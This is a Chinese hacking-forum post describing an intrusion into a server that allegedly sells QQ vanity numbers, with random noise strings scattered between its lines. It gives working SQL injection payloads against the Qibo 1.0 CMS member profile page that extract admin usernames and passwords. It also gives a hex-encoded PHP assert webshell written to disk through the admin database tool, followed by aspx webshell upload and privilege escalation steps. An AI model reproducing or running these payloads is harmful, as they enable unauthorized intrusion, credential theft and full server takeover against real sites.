入侵卖靓号QQ骗子网站服务器纪实

admin · 发表于 2018-10-20 20:08:47

2 ~6 Q: w0 ?/ u% ?2 j) f% P9 h
* {1 B: [; Z) K. q

2 ~5 j" x, p* f0 ?6 | 一、踩点寻找漏洞
+ n2 s5 J$ D& [( Q/ M7 L, z# @ 闲来无事，在各个QQ靓号群求买5位QQ，寻问半天无果就在百度搜索5位QQ扫号找到“目标”www.qq.com，打开一看就一静态页面，哇好多靓号啊，90000000,300000,98888888，199999999，哇这么多靓号，然后我去联系客服，要求客服登录账户看看，此处略去100字，然后开始撕逼，然后就有了下文。。。。
, q7 Y( K1 Y$ m* g1 G随手拿御剑扫了一下好多php页面，随手加一个member发现是齐博1.0的内容管理系统，然后就去百度找漏洞，什么后门漏洞一一做测试都无果，找来找去找到一个全版本的注入漏洞，详细利用方法如下：
* G" a' Q5 [6 X0 X } 先注册一个用户，记住注册时候的邮箱以uid号，
( X; k6 X- t' ?) O: X
5 h: Q. T6 h, F2 u7 Z) o$ ^# J
! m- J) l6 D' R) U$ p9 F 然后我们打开火狐浏览器简单构造一下，http://www.qq.com/member/userinfo.php?job=edit&step=2，发送数据包如下：
; g) o( _8 K4 d. u# T
2 Q" F F$ I, n3 u truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select user()) where uid=3%23
0 d4 d; T" l" }, [" c' S" [ 这里的email和uid一定要和注册的账号所吻合，然后访问，提示成功以后查看用户资料如图：
9 T) U. Z" f2 |( k5 _, P
. e7 Z$ K- Y7 B确实存在注入漏洞，那么我们来注入一下管理账号密码，修改数据包如：truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select concat(username,0x2e,password) from qb_members limit 1) where uid=3%23
0 o: y# T- l9 n% b( j" Z8 E7 h
% ]6 c/ ?8 w# b
# K' X+ Q6 Y) V8 b解密进后台如图：
+ c% }: U% c$ a; z! {/ f
0 d, u. r1 X1 |% C: F7 F7 ~5 {
; i5 F/ I9 W. P. S' K
! N$ U. y% x) h" d( e2 [9 y 二、后台getwebshell
/ P, Z5 [& B1 s1 Y9 l3 Q7 u# E9 `* e 进了后台，以前齐博有个后台getwebshell漏洞，在系统功能- 单篇文章独立页面管理-增加页面添加个webshell，如图：
9 r- [1 w2 [& C. s2 O/ ^4 V t8 i
7 E3 |% N2 ?) D
4 m& _6 J4 }' \- n/ ~
- C8 _% k: c4 |; y/ M然后点确定，添加提示
* ~; i" W0 {3 E. D* l
& d$ E. R& R4 }8 S( o
6 a# |' l' B W3 ^6 w- A
4 Y* x; W9 w& A& E1 r: [3 |由于是ii6.0的所以我们可以考虑一下解析漏洞，我们再来如图：
% T: o9 L5 m( \$ ?" `% a
! g+ I2 O9 ?+ {! s& T
0 |" C8 |1 E1 n! n% s1 b改静态页面为help.php;.htm，然后我们发现访问help.php;.htm是404（写文章之前测试是可以成功写入的），欧巴，他么的我们再想想别的办法，抽了一支烟，我们继续，他这里不是有个服务器信息、数据库工具吗，之前我们测试当前用户名是root，那么我们完全可以考虑利用服务器信息、数据库工具来导入一句话，屌屌的妈妈的，我们来演示一下，先把一句话hex编码一下，<?php assert($_POST[sb]);?>编码以后是：0x3C3F7068702061737365727428245F504F53545B73625D293B3F3EDA网站目录是D:\wwwroot\qq.com\admin\，注意我们要把\改成/,否则不成功D:/wwwroot/qq.com/admin/,下面我们来导一下
5 o+ C r, t: Z0 F! T; ]* Z 如图：
# Q! F1 ~6 u, ~ s5 s
/ G1 q: k U2 r1 @' x
) Z. o7 T' h2 h- N4 r! O
5 e4 q w' k6 D2 H, n8 o 之前已经测试过了用普通菜刀无法连接，测试用过狗菜刀也无法连接，用xiese打开
( y$ ?0 e* W7 x9 F
3 F) Q6 \0 G5 l E' W( ~+ M9 |
w9 _, |/ g, T5 n
' o6 o* e& o b2 S: ^ L 三、提权进服务器
3 r+ d2 z4 M8 Q: f. G6 a0 F 经测试xise下一句话只有在admin目录下有权限浏览，且不能执行命令，庆幸的是支持aspx，那么我们就上一个aspx大马，然后执行命令提示拒绝访问，哈哈在c:\windows\temp下上传cmd.exe然后执行systeminfo，发现打了400多补丁，如图：
% d8 x6 _. P( |4 A* `* B
4 t# ]+ k* n+ _7 K7 q( c A
. w! n+ g& r# L+ U4 N啧啧啧，这么多补丁，我都没去试试今年和2014年放出来的exp，而且是在咱们大00下载了一个变异pr，然后上传提权如图：
& d) L/ w1 c X- h
1 m9 h; P0 _; o3 J1 I
6 \7 c+ R( F& j0 u6 m& ] 然后登陆服务器如图：
8 D) L3 x( u5 E, z6 H' U N0 U
: `3 G# {6 @/ m9 e 2 j% v t5 N! _# O5 O* z; D